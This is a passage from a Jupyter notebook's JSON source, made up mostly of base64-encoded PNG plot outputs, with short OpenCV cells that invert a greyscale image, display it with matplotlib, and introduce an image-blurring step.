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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "invert_img = cv2.bitwise_not(grey_img)\n", - "inv_rgb_img = cv2.cvtColor(invert_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(inv_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "da1a4610", - "metadata": {}, - "source": [ - "### Bluring the image" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "22a9ca56", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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